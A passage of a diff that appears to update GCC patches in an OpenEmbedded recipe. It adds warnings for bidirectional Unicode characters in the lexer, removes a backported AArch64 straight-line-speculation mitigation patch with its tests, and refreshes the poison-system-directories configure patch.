++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ cur = pfile->buffer->cur;
+ if (! starts_ucn)
+@@ -1483,6 +1854,8 @@ lex_identifier (cpp_reader *pfile, const
+ pfile->buffer->cur++;
+ }
+ } while (forms_identifier_p (pfile, false, nst));
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, pfile->buffer->cur);
+ result = _cpp_interpret_identifier (pfile, base,
+ pfile->buffer->cur - base);
+ *spelling = cpp_lookup (pfile, base, pfile->buffer->cur - base);
+@@ -1719,6 +2092,7 @@ static void
+ lex_raw_string (cpp_reader *pfile, cpp_token *token, const uchar *base)
+ {
+ const uchar *pos = base;
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+
+ /* 'tis a pity this information isn't passed down from the lexer's
+ initial categorization of the token. */
+@@ -1955,8 +2329,15 @@ lex_raw_string (cpp_reader *pfile, cpp_t
+ pos = base = pfile->buffer->cur;
+ note = &pfile->buffer->notes[pfile->buffer->cur_note];
+ }
++ else if (__builtin_expect ((unsigned char) c == bidi::utf8_start, 0)
++ && warn_bidi_p)
++ maybe_warn_bidi_on_char (pfile, pos - 1, get_bidi_utf8 (pos - 1),
++ /*ucn_p=*/false);
+ }
+
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, pos);
++
+ if (CPP_OPTION (pfile, user_literals))
+ {
+ /* If a string format macro, say from inttypes.h, is placed touching
+@@ -2051,15 +2432,27 @@ lex_string (cpp_reader *pfile, cpp_token
+ else
+ terminator = '>', type = CPP_HEADER_NAME;
+
++ const bool warn_bidi_p = pfile->warn_bidi_p ();
+ for (;;)
+ {
+ cppchar_t c = *cur++;
+
+ /* In #include-style directives, terminators are not escapable. */
+ if (c == '\\' && !pfile->state.angled_headers && *cur != '\n')
+- cur++;
++ {
++ if ((cur[0] == 'u' || cur[0] == 'U') && warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_ucn (cur + 1, cur[0] == 'U');
++ maybe_warn_bidi_on_char (pfile, cur, kind, /*ucn_p=*/true);
++ }
++ cur++;
++ }
+ else if (c == terminator)
+- break;
++ {
++ if (warn_bidi_p)
++ maybe_warn_bidi_on_close (pfile, cur - 1);
++ break;
++ }
+ else if (c == '\n')
+ {
+ cur--;
+@@ -2076,6 +2469,11 @@ lex_string (cpp_reader *pfile, cpp_token
+ }
+ else if (c == '\0')
+ saw_NUL = true;
++ else if (__builtin_expect (c == bidi::utf8_start, 0) && warn_bidi_p)
++ {
++ bidi::kind kind = get_bidi_utf8 (cur - 1);
++ maybe_warn_bidi_on_char (pfile, cur - 1, kind, /*ucn_p=*/false);
++ }
+ }
+
+ if (saw_NUL && !pfile->state.skipping)
diff --git a/meta/recipes-devtools/gcc/gcc/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch b/meta/recipes-devtools/gcc/gcc/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch
deleted file mode 100644
index 823cc8b668..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch
+++ /dev/null
@@ -1,607 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From b1204d16e1ec96a4aa89e44de8990e2499ffdb22 Mon Sep 17 00:00:00 2001
-From: Matthew Malcomson <matthew.malcomson@arm.com>
-Date: Thu, 9 Jul 2020 09:11:59 +0100
-Subject: [PATCH 2/3] aarch64: Introduce SLS mitigation for RET and BR
- instructions
-
-Instructions following RET or BR are not necessarily executed. In order
-to avoid speculation past RET and BR we can simply append a speculation
-barrier.
-
-Since these speculation barriers will not be architecturally executed,
-they are not expected to add a high performance penalty.
-
-The speculation barrier is to be SB when targeting architectures which
-have this enabled, and DSB SY + ISB otherwise.
-
-We add tests for each of the cases where such an instruction was seen.
-
-This is implemented by modifying each machine description pattern that
-emits either a RET or a BR instruction. We choose not to use something
-like `TARGET_ASM_FUNCTION_EPILOGUE` since it does not affect the
-`indirect_jump`, `jump`, `sibcall_insn` and `sibcall_value_insn`
-patterns and we find it preferable to implement the functionality in the
-same way for every pattern.
-
-There is one particular case which is slightly tricky. The
-implementation of TARGET_ASM_TRAMPOLINE_TEMPLATE uses a BR which needs
-to be mitigated against. The trampoline template is used *once* per
-compilation unit, and the TRAMPOLINE_SIZE is exposed to the user via the
-builtin macro __LIBGCC_TRAMPOLINE_SIZE__.
-In the future we may implement function specific attributes to turn on
-and off hardening on a per-function basis.
-The fixed nature of the trampoline described above implies it will be
-safer to ensure this speculation barrier is always used.
-
-Testing:
- Bootstrap and regtest done on aarch64-none-linux
- Used a temporary hack(1) to use these options on every test in the
- testsuite and a script to check that the output never emitted an
- unmitigated RET or BR.
-
-1) Temporary hack was a change to the testsuite to always use
-`-save-temps` and run a script on the assembly output of those
-compilations which produced one to ensure every RET or BR is immediately
-followed by a speculation barrier.
-
-gcc/ChangeLog:
-
- * config/aarch64/aarch64-protos.h (aarch64_sls_barrier): New.
- * config/aarch64/aarch64.c (aarch64_output_casesi): Emit
- speculation barrier after BR instruction if needs be.
- (aarch64_trampoline_init): Handle ptr_mode value & adjust size
- of code copied.
- (aarch64_sls_barrier): New.
- (aarch64_asm_trampoline_template): Add needed barriers.
- * config/aarch64/aarch64.h (AARCH64_ISA_SB): New.
- (TARGET_SB): New.
- (TRAMPOLINE_SIZE): Account for barrier.
- * config/aarch64/aarch64.md (indirect_jump, *casesi_dispatch,
- simple_return, *do_return, *sibcall_insn, *sibcall_value_insn):
- Emit barrier if needs be, also account for possible barrier using
- "sls_length" attribute.
- (sls_length): New attribute.
- (length): Determine default using any non-default sls_length
- value.
-
-gcc/testsuite/ChangeLog:
-
- * gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c: New test.
- * gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c:
- New test.
- * gcc.target/aarch64/sls-mitigation/sls-mitigation.exp: New file.
- * lib/target-supports.exp (check_effective_target_aarch64_asm_sb_ok):
- New proc.
----
- gcc/config/aarch64/aarch64-protos.h | 1 +
- gcc/config/aarch64/aarch64.c | 41 ++++++-
- gcc/config/aarch64/aarch64.h | 10 +-
- gcc/config/aarch64/aarch64.md | 76 +++++++++----
- .../aarch64/sls-mitigation/sls-miti-retbr-pacret.c | 21 ++++
- .../aarch64/sls-mitigation/sls-miti-retbr.c | 119 +++++++++++++++++++++
- .../aarch64/sls-mitigation/sls-mitigation.exp | 73 +++++++++++++
- gcc/testsuite/lib/target-supports.exp | 2 +-
- 8 files changed, 318 insertions(+), 25 deletions(-)
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp
-
-diff --git a/gcc/config/aarch64/aarch64-protos.h b/gcc/config/aarch64/aarch64-protos.h
-index eb5f4b4..ee0ffde 100644
---- a/gcc/config/aarch64/aarch64-protos.h
-+++ b/gcc/config/aarch64/aarch64-protos.h
-@@ -781,6 +781,7 @@ extern const atomic_ool_names aarch64_ool_ldeor_names;
-
- tree aarch64_resolve_overloaded_builtin_general (location_t, tree, void *);
-
-+const char *aarch64_sls_barrier (int);
- extern bool aarch64_harden_sls_retbr_p (void);
- extern bool aarch64_harden_sls_blr_p (void);
-
-diff --git a/gcc/config/aarch64/aarch64.c b/gcc/config/aarch64/aarch64.c
-index 437a9cf..44e3d1f 100644
---- a/gcc/config/aarch64/aarch64.c
-+++ b/gcc/config/aarch64/aarch64.c
-@@ -10852,8 +10852,8 @@ aarch64_return_addr (int count, rtx frame ATTRIBUTE_UNUSED)
- static void
- aarch64_asm_trampoline_template (FILE *f)
- {
-- int offset1 = 16;
-- int offset2 = 20;
-+ int offset1 = 24;
-+ int offset2 = 28;
-
- if (aarch64_bti_enabled ())
- {
-@@ -10876,6 +10876,17 @@ aarch64_asm_trampoline_template (FILE *f)
- }
- asm_fprintf (f, "\tbr\t%s\n", reg_names [IP1_REGNUM]);
-
-+ /* We always emit a speculation barrier.
-+ This is because the same trampoline template is used for every nested
-+ function. Since nested functions are not particularly common or
-+ performant we don't worry too much about the extra instructions to copy
-+ around.
-+ This is not yet a problem, since we have not yet implemented function
-+ specific attributes to choose between hardening against straight line
-+ speculation or not, but such function specific attributes are likely to
-+ happen in the future. */
-+ asm_fprintf (f, "\tdsb\tsy\n\tisb\n");
-+
- /* The trampoline needs an extra padding instruction. In case if BTI is
- enabled the padding instruction is replaced by the BTI instruction at
- the beginning. */
-@@ -10890,10 +10901,14 @@ static void
- aarch64_trampoline_init (rtx m_tramp, tree fndecl, rtx chain_value)
- {
- rtx fnaddr, mem, a_tramp;
-- const int tramp_code_sz = 16;
-+ const int tramp_code_sz = 24;
-
- /* Don't need to copy the trailing D-words, we fill those in below. */
-- emit_block_move (m_tramp, assemble_trampoline_template (),
-+ /* We create our own memory address in Pmode so that `emit_block_move` can
-+ use parts of the backend which expect Pmode addresses. */
-+ rtx temp = convert_memory_address (Pmode, XEXP (m_tramp, 0));
-+ emit_block_move (gen_rtx_MEM (BLKmode, temp),
-+ assemble_trampoline_template (),
- GEN_INT (tramp_code_sz), BLOCK_OP_NORMAL);
- mem = adjust_address (m_tramp, ptr_mode, tramp_code_sz);
- fnaddr = XEXP (DECL_RTL (fndecl), 0);
-@@ -11084,6 +11099,8 @@ aarch64_output_casesi (rtx *operands)
- output_asm_insn (buf, operands);
- output_asm_insn (patterns[index][1], operands);
- output_asm_insn ("br\t%3", operands);
-+ output_asm_insn (aarch64_sls_barrier (aarch64_harden_sls_retbr_p ()),
-+ operands);
- assemble_label (asm_out_file, label);
- return "";
- }
-@@ -22924,6 +22941,22 @@ aarch64_file_end_indicate_exec_stack ()
- #undef GNU_PROPERTY_AARCH64_FEATURE_1_BTI
- #undef GNU_PROPERTY_AARCH64_FEATURE_1_AND
-
-+/* Helper function for straight line speculation.
-+ Return what barrier should be emitted for straight line speculation
-+ mitigation.
-+ When not mitigating against straight line speculation this function returns
-+ an empty string.
-+ When mitigating against straight line speculation, use:
-+ * SB when the v8.5-A SB extension is enabled.
-+ * DSB+ISB otherwise. */
-+const char *
-+aarch64_sls_barrier (int mitigation_required)
-+{
-+ return mitigation_required
-+ ? (TARGET_SB ? "sb" : "dsb\tsy\n\tisb")
-+ : "";
-+}
-+
- /* Target-specific selftests. */
-
- #if CHECKING_P
-diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
-index 1ce23c6..c21015f 100644
---- a/gcc/config/aarch64/aarch64.h
-+++ b/gcc/config/aarch64/aarch64.h
-@@ -281,6 +281,7 @@ extern unsigned aarch64_architecture_version;
- #define AARCH64_ISA_F32MM (aarch64_isa_flags & AARCH64_FL_F32MM)
- #define AARCH64_ISA_F64MM (aarch64_isa_flags & AARCH64_FL_F64MM)
- #define AARCH64_ISA_BF16 (aarch64_isa_flags & AARCH64_FL_BF16)
-+#define AARCH64_ISA_SB (aarch64_isa_flags & AARCH64_FL_SB)
-
- /* Crypto is an optional extension to AdvSIMD. */
- #define TARGET_CRYPTO (TARGET_SIMD && AARCH64_ISA_CRYPTO)
-@@ -378,6 +379,9 @@ extern unsigned aarch64_architecture_version;
- #define TARGET_FIX_ERR_A53_835769_DEFAULT 1
- #endif
-
-+/* SB instruction is enabled through +sb. */
-+#define TARGET_SB (AARCH64_ISA_SB)
-+
- /* Apply the workaround for Cortex-A53 erratum 835769. */
- #define TARGET_FIX_ERR_A53_835769 \
- ((aarch64_fix_a53_err835769 == 2) \
-@@ -1058,8 +1062,10 @@ typedef struct
-
- #define RETURN_ADDR_RTX aarch64_return_addr
-
--/* BTI c + 3 insns + 2 pointer-sized entries. */
--#define TRAMPOLINE_SIZE (TARGET_ILP32 ? 24 : 32)
-+/* BTI c + 3 insns
-+ + sls barrier of DSB + ISB.
-+ + 2 pointer-sized entries. */
-+#define TRAMPOLINE_SIZE (24 + (TARGET_ILP32 ? 8 : 16))
-
- /* Trampolines contain dwords, so must be dword aligned. */
- #define TRAMPOLINE_ALIGNMENT 64
-diff --git a/gcc/config/aarch64/aarch64.md b/gcc/config/aarch64/aarch64.md
-index 8c8be3c..dda04ee 100644
---- a/gcc/config/aarch64/aarch64.md
-+++ b/gcc/config/aarch64/aarch64.md
-@@ -407,10 +407,25 @@
- ;; Attribute that specifies whether the alternative uses MOVPRFX.
- (define_attr "movprfx" "no,yes" (const_string "no"))
-
-+;; Attribute to specify that an alternative has the length of a single
-+;; instruction plus a speculation barrier.
-+(define_attr "sls_length" "none,retbr,casesi" (const_string "none"))
-+
- (define_attr "length" ""
- (cond [(eq_attr "movprfx" "yes")
- (const_int 8)
-- ] (const_int 4)))
-+
-+ (eq_attr "sls_length" "retbr")
-+ (cond [(match_test "!aarch64_harden_sls_retbr_p ()") (const_int 4)
-+ (match_test "TARGET_SB") (const_int 8)]
-+ (const_int 12))
-+
-+ (eq_attr "sls_length" "casesi")
-+ (cond [(match_test "!aarch64_harden_sls_retbr_p ()") (const_int 16)
-+ (match_test "TARGET_SB") (const_int 20)]
-+ (const_int 24))
-+ ]
-+ (const_int 4)))
-
- ;; Strictly for compatibility with AArch32 in pipeline models, since AArch64 has
- ;; no predicated insns.
-@@ -447,8 +462,12 @@
- (define_insn "indirect_jump"
- [(set (pc) (match_operand:DI 0 "register_operand" "r"))]
- ""
-- "br\\t%0"
-- [(set_attr "type" "branch")]
-+ {
-+ output_asm_insn ("br\\t%0", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ [(set_attr "type" "branch")
-+ (set_attr "sls_length" "retbr")]
- )
-
- (define_insn "jump"
-@@ -765,7 +784,7 @@
- "*
- return aarch64_output_casesi (operands);
- "
-- [(set_attr "length" "16")
-+ [(set_attr "sls_length" "casesi")
- (set_attr "type" "branch")]
- )
-
-@@ -844,18 +863,23 @@
- [(return)]
- ""
- {
-+ const char *ret = NULL;
- if (aarch64_return_address_signing_enabled ()
- && TARGET_ARMV8_3
- && !crtl->calls_eh_return)
- {
- if (aarch64_ra_sign_key == AARCH64_KEY_B)
-- return "retab";
-+ ret = "retab";
- else
-- return "retaa";
-+ ret = "retaa";
- }
-- return "ret";
-+ else
-+ ret = "ret";
-+ output_asm_insn (ret, operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
- }
-- [(set_attr "type" "branch")]
-+ [(set_attr "type" "branch")
-+ (set_attr "sls_length" "retbr")]
- )
-
- (define_expand "return"
-@@ -867,8 +891,12 @@
- (define_insn "simple_return"
- [(simple_return)]
- ""
-- "ret"
-- [(set_attr "type" "branch")]
-+ {
-+ output_asm_insn ("ret", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ [(set_attr "type" "branch")
-+ (set_attr "sls_length" "retbr")]
- )
-
- (define_insn "*cb<optab><mode>1"
-@@ -1066,10 +1094,16 @@
- (unspec:DI [(match_operand:DI 2 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (return)]
- "SIBLING_CALL_P (insn)"
-- "@
-- br\\t%0
-- b\\t%c0"
-- [(set_attr "type" "branch, branch")]
-+ {
-+ if (which_alternative == 0)
-+ {
-+ output_asm_insn ("br\\t%0", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ return "b\\t%c0";
-+ }
-+ [(set_attr "type" "branch, branch")
-+ (set_attr "sls_length" "retbr,none")]
- )
-
- (define_insn "*sibcall_value_insn"
-@@ -1080,10 +1114,16 @@
- (unspec:DI [(match_operand:DI 3 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (return)]
- "SIBLING_CALL_P (insn)"
-- "@
-- br\\t%1
-- b\\t%c1"
-- [(set_attr "type" "branch, branch")]
-+ {
-+ if (which_alternative == 0)
-+ {
-+ output_asm_insn ("br\\t%1", operands);
-+ return aarch64_sls_barrier (aarch64_harden_sls_retbr_p ());
-+ }
-+ return "b\\t%c1";
-+ }
-+ [(set_attr "type" "branch, branch")
-+ (set_attr "sls_length" "retbr,none")]
- )
-
- ;; Call subroutine returning any type.
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c
-new file mode 100644
-index 0000000..fa1887a
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c
-@@ -0,0 +1,21 @@
-+/* Avoid ILP32 since pacret is only available for LP64 */
-+/* { dg-do compile { target { ! ilp32 } } } */
-+/* { dg-additional-options "-mharden-sls=retbr -mbranch-protection=pac-ret -march=armv8.3-a" } */
-+
-+/* Testing the do_return pattern for retaa and retab. */
-+long retbr_subcall(void);
-+long retbr_do_return_retaa(void)
-+{
-+ return retbr_subcall()+1;
-+}
-+
-+__attribute__((target("branch-protection=pac-ret+b-key")))
-+long retbr_do_return_retab(void)
-+{
-+ return retbr_subcall()+1;
-+}
-+
-+/* Ensure there are no BR or RET instructions which are not directly followed
-+ by a speculation barrier. */
-+/* { dg-final { scan-assembler-not {\t(br|ret|retaa|retab)\tx[0-9][0-9]?\n\t(?!dsb\tsy\n\tisb)} } } */
-+/* { dg-final { scan-assembler-not {ret\t} } } */
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c
-new file mode 100644
-index 0000000..76b8d03
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c
-@@ -0,0 +1,119 @@
-+/* We ensure that -Wpedantic is off since it complains about the trampolines
-+ we explicitly want to test. */
-+/* { dg-additional-options "-mharden-sls=retbr -Wno-pedantic " } */
-+/*
-+ Ensure that the SLS hardening of RET and BR leaves no unprotected RET/BR
-+ instructions.
-+ */
-+typedef int (foo) (int, int);
-+typedef void (bar) (int, int);
-+struct sls_testclass {
-+ foo *x;
-+ bar *y;
-+ int left;
-+ int right;
-+};
-+
-+int
-+retbr_sibcall_value_insn (struct sls_testclass x)
-+{
-+ return x.x(x.left, x.right);
-+}
-+
-+void
-+retbr_sibcall_insn (struct sls_testclass x)
-+{
-+ x.y(x.left, x.right);
-+}
-+
-+/* Aim to test two different returns.
-+ One that introduces a tail call in the middle of the function, and one that
-+ has a normal return. */
-+int
-+retbr_multiple_returns (struct sls_testclass x)
-+{
-+ int temp;
-+ if (x.left % 10)
-+ return x.x(x.left, 100);
-+ else if (x.right % 20)
-+ {
-+ return x.x(x.left * x.right, 100);
-+ }
-+ temp = x.left % x.right;
-+ temp *= 100;
-+ temp /= 2;
-+ return temp % 3;
-+}
-+
-+void
-+retbr_multiple_returns_void (struct sls_testclass x)
-+{
-+ if (x.left % 10)
-+ {
-+ x.y(x.left, 100);
-+ }
-+ else if (x.right % 20)
-+ {
-+ x.y(x.left * x.right, 100);
-+ }
-+ return;
-+}
-+
-+/* Testing the casesi jump via register. */
-+__attribute__ ((optimize ("Os")))
-+int
-+retbr_casesi_dispatch (struct sls_testclass x)
-+{
-+ switch (x.left)
-+ {
-+ case -5:
-+ return -2;
-+ case -3:
-+ return -1;
-+ case 0:
-+ return 0;
-+ case 3:
-+ return 1;
-+ case 5:
-+ break;
-+ default:
-+ __builtin_unreachable ();
-+ }
-+ return x.right;
-+}
-+
-+/* Testing the BR in trampolines is mitigated against. */
-+void f1 (void *);
-+void f3 (void *, void (*)(void *));
-+void f2 (void *);
-+
-+int
-+retbr_trampolines (void *a, int b)
-+{
-+ if (!b)
-+ {
-+ f1 (a);
-+ return 1;
-+ }
-+ if (b)
-+ {
-+ void retbr_tramp_internal (void *c)
-+ {
-+ if (c == a)
-+ f2 (c);
-+ }
-+ f3 (a, retbr_tramp_internal);
-+ }
-+ return 0;
-+}
-+
-+/* Testing the indirect_jump pattern. */
-+void
-+retbr_indirect_jump (int *buf)
-+{
-+ __builtin_longjmp(buf, 1);
-+}
-+
-+/* Ensure there are no BR or RET instructions which are not directly followed
-+ by a speculation barrier. */
-+/* { dg-final { scan-assembler-not {\t(br|ret|retaa|retab)\tx[0-9][0-9]?\n\t(?!dsb\tsy\n\tisb|sb)} } } */
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp
-new file mode 100644
-index 0000000..8122503
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp
-@@ -0,0 +1,73 @@
-+# Regression driver for SLS mitigation on AArch64.
-+# Copyright (C) 2020 Free Software Foundation, Inc.
-+# Contributed by ARM Ltd.
-+#
-+# This file is part of GCC.
-+#
-+# GCC is free software; you can redistribute it and/or modify it
-+# under the terms of the GNU General Public License as published by
-+# the Free Software Foundation; either version 3, or (at your option)
-+# any later version.
-+#
-+# GCC is distributed in the hope that it will be useful, but
-+# WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# General Public License for more details.
-+#
-+# You should have received a copy of the GNU General Public License
-+# along with GCC; see the file COPYING3. If not see
-+# <http://www.gnu.org/licenses/>. */
-+
-+# Exit immediately if this isn't an AArch64 target.
-+if {![istarget aarch64*-*-*] } then {
-+ return
-+}
-+
-+# Load support procs.
-+load_lib gcc-dg.exp
-+load_lib torture-options.exp
-+
-+# If a testcase doesn't have special options, use these.
-+global DEFAULT_CFLAGS
-+if ![info exists DEFAULT_CFLAGS] then {
-+ set DEFAULT_CFLAGS " "
-+}
-+
-+# Initialize `dg'.
-+dg-init
-+torture-init
-+
-+# Use different architectures as well as the normal optimisation options.
-+# (i.e. use both SB and DSB+ISB barriers).
-+
-+set save-dg-do-what-default ${dg-do-what-default}
-+# Main loop.
-+# Run with torture tests (i.e. a bunch of different optimisation levels) just
-+# to increase test coverage.
-+set dg-do-what-default assemble
-+gcc-dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cCS\]]] \
-+ "-save-temps" $DEFAULT_CFLAGS
-+
-+# Run the same tests but this time with SB extension.
-+# Since not all supported assemblers will support that extension we decide
-+# whether to assemble or just compile based on whether the extension is
-+# supported for the available assembler.
-+
-+set templist {}
-+foreach x $DG_TORTURE_OPTIONS {
-+ lappend templist "$x -march=armv8.3-a+sb "
-+ lappend templist "$x -march=armv8-a+sb "
-+}
-+set-torture-options $templist
-+if { [check_effective_target_aarch64_asm_sb_ok] } {
-+ set dg-do-what-default assemble
-+} else {
-+ set dg-do-what-default compile
-+}
-+gcc-dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cCS\]]] \
-+ "-save-temps" $DEFAULT_CFLAGS
-+set dg-do-what-default ${save-dg-do-what-default}
-+
-+# All done.
-+torture-finish
-+dg-finish
-diff --git a/gcc/testsuite/lib/target-supports.exp b/gcc/testsuite/lib/target-supports.exp
-index 8a186dd..9d2e093 100644
---- a/gcc/testsuite/lib/target-supports.exp
-+++ b/gcc/testsuite/lib/target-supports.exp
-@@ -9432,7 +9432,7 @@ proc check_effective_target_aarch64_tiny { } {
- # various architecture extensions via the .arch_extension pseudo-op.
-
- foreach { aarch64_ext } { "fp" "simd" "crypto" "crc" "lse" "dotprod" "sve"
-- "i8mm" "f32mm" "f64mm" "bf16" } {
-+ "i8mm" "f32mm" "f64mm" "bf16" "sb" } {
- eval [string map [list FUNC $aarch64_ext] {
- proc check_effective_target_aarch64_asm_FUNC_ok { } {
- if { [istarget aarch64*-*-*] } {
---
-2.7.4
-
diff --git a/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch b/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch
index 30a8486016..18a9fb8701 100644
--- a/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch
+++ b/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch
@@ -1,6 +1,6 @@
-From 74cc21f474402cf3578e37e1d7a1a22bbd070f6a Mon Sep 17 00:00:00 2001
+From 118c6f054711d437167ff125a88c9236bfc8099c Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 08:59:00 +0400
+Date: Mon, 8 Mar 2021 16:04:20 -0800
Subject: [PATCH] gcc: poison-system-directories
Add /sw/include and /opt/include based on the original
@@ -11,25 +11,24 @@ aborted.
Instead, we add the two missing items to the current scan. If the user
wants this to be a failure, they can add "-Werror=poison-system-directories".
+Upstream-Status: Pending
Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
---
gcc/common.opt | 4 ++++
- gcc/config.in | 6 ++++++
- gcc/configure | 16 ++++++++++++++++
- gcc/configure.ac | 10 ++++++++++
+ gcc/config.in | 10 ++++++++++
+ gcc/configure | 19 +++++++++++++++++++
+ gcc/configure.ac | 16 ++++++++++++++++
gcc/doc/invoke.texi | 9 +++++++++
- gcc/gcc.c | 2 ++
+ gcc/gcc.c | 9 +++++++--
gcc/incpath.c | 21 +++++++++++++++++++++
- 7 files changed, 68 insertions(+)
+ 7 files changed, 86 insertions(+), 2 deletions(-)
diff --git a/gcc/common.opt b/gcc/common.opt
-index 65a82410abc..415f38fa1f4 100644
+index c75dd36843e..49acbd6ed44 100644
--- a/gcc/common.opt
+++ b/gcc/common.opt
-@@ -682,6 +682,10 @@ Wreturn-local-addr
+@@ -683,6 +683,10 @@ Wreturn-local-addr
Common Var(warn_return_local_addr) Init(1) Warning
Warn about returning a pointer/reference to a local or temporary variable.
@@ -41,10 +40,10 @@ index 65a82410abc..415f38fa1f4 100644
Common Var(warn_shadow) Warning
Warn when one variable shadows another. Same as -Wshadow=global.
diff --git a/gcc/config.in b/gcc/config.in
-index 809e7b26823..5adeaeed36b 100644
+index 10a13cde586..8848284da41 100644
--- a/gcc/config.in
+++ b/gcc/config.in
-@@ -224,6 +224,12 @@
+@@ -218,6 +218,16 @@
#endif
@@ -52,24 +51,28 @@ index 809e7b26823..5adeaeed36b 100644
+#ifndef USED_FOR_TARGET
+#undef ENABLE_POISON_SYSTEM_DIRECTORIES
+#endif
++/* Define to warn for use of native system header directories */
++#ifndef USED_FOR_TARGET
++#undef POISON_BY_DEFAULT
++#endif
+
+
/* Define if you want all operations on RTL (the basic data structure of the
optimizer and back end) to be checked for dynamic type safety at runtime.
This is quite expensive. */
diff --git a/gcc/configure b/gcc/configure
-index cd3d9516fce..8de766a942c 100755
+index 9bb436ce7bd..3f0734bff11 100755
--- a/gcc/configure
+++ b/gcc/configure
-@@ -1010,6 +1010,7 @@ with_system_zlib
- enable_maintainer_mode
+@@ -1020,6 +1020,7 @@ enable_maintainer_mode
enable_link_mutex
+ enable_link_serialization
enable_version_specific_runtime_libs
+enable_poison_system_directories
enable_plugin
enable_host_shared
enable_libquadmath_support
-@@ -1766,6 +1767,8 @@ Optional Features:
+@@ -1782,6 +1783,8 @@ Optional Features:
--enable-version-specific-runtime-libs
specify that runtime libraries should be installed
in a compiler-specific directory
@@ -78,7 +81,7 @@ index cd3d9516fce..8de766a942c 100755
--enable-plugin enable plugin support
--enable-host-shared build host code as shared libraries
--disable-libquadmath-support
-@@ -30235,6 +30238,19 @@ if test "${enable_version_specific_runtime_libs+set}" = set; then :
+@@ -31325,6 +31328,22 @@ if test "${enable_version_specific_runtime_libs+set}" = set; then :
fi
@@ -89,9 +92,12 @@ index cd3d9516fce..8de766a942c 100755
+ enable_poison_system_directories=no
+fi
+
-+if test "x${enable_poison_system_directories}" = "xyes"; then
++if test "x${enable_poison_system_directories}" != "xno"; then
+
+$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
++if test "$enable_poison_system_directories" = "error"; then
++$as_echo "#define POISON_BY_DEFAULT 1" >>confdefs.h
++fi
+
+fi
+
@@ -99,31 +105,37 @@ index cd3d9516fce..8de766a942c 100755
diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 0de3b4bf97b..8bfd6feb780 100644
+index caa611933df..54e21764b3e 100644
--- a/gcc/configure.ac
+++ b/gcc/configure.ac
-@@ -6595,6 +6595,16 @@ AC_ARG_ENABLE(version-specific-runtime-libs,
+@@ -7123,6 +7123,22 @@ AC_ARG_ENABLE(version-specific-runtime-libs,
[specify that runtime libraries should be
installed in a compiler-specific directory])])
+AC_ARG_ENABLE([poison-system-directories],
+ AS_HELP_STRING([--enable-poison-system-directories],
-+ [warn for use of native system header directories]),,
++ [warn for use of native system header directories (no/yes/error)]),,
+ [enable_poison_system_directories=no])
-+if test "x${enable_poison_system_directories}" = "xyes"; then
++AC_MSG_NOTICE([poisoned directories $enable_poison_system_directories])
++if test "x${enable_poison_system_directories}" != "xno"; then
++ AC_MSG_NOTICE([poisoned directories enabled])
+ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
+ [1],
+ [Define to warn for use of native system header directories])
++ if test $enable_poison_system_directories = "error"; then
++ AC_MSG_NOTICE([poisoned directories are fatal])
++ AC_DEFINE([POISON_BY_DEFAULT], [1], [Define to make poison warnings errors])
++ fi
+fi
+
# Substitute configuration variables
AC_SUBST(subdirs)
AC_SUBST(srcdir)
diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index f98161391a0..f12d8d12150 100644
+index 7a368959e5e..6659a903bf0 100644
--- a/gcc/doc/invoke.texi
+++ b/gcc/doc/invoke.texi
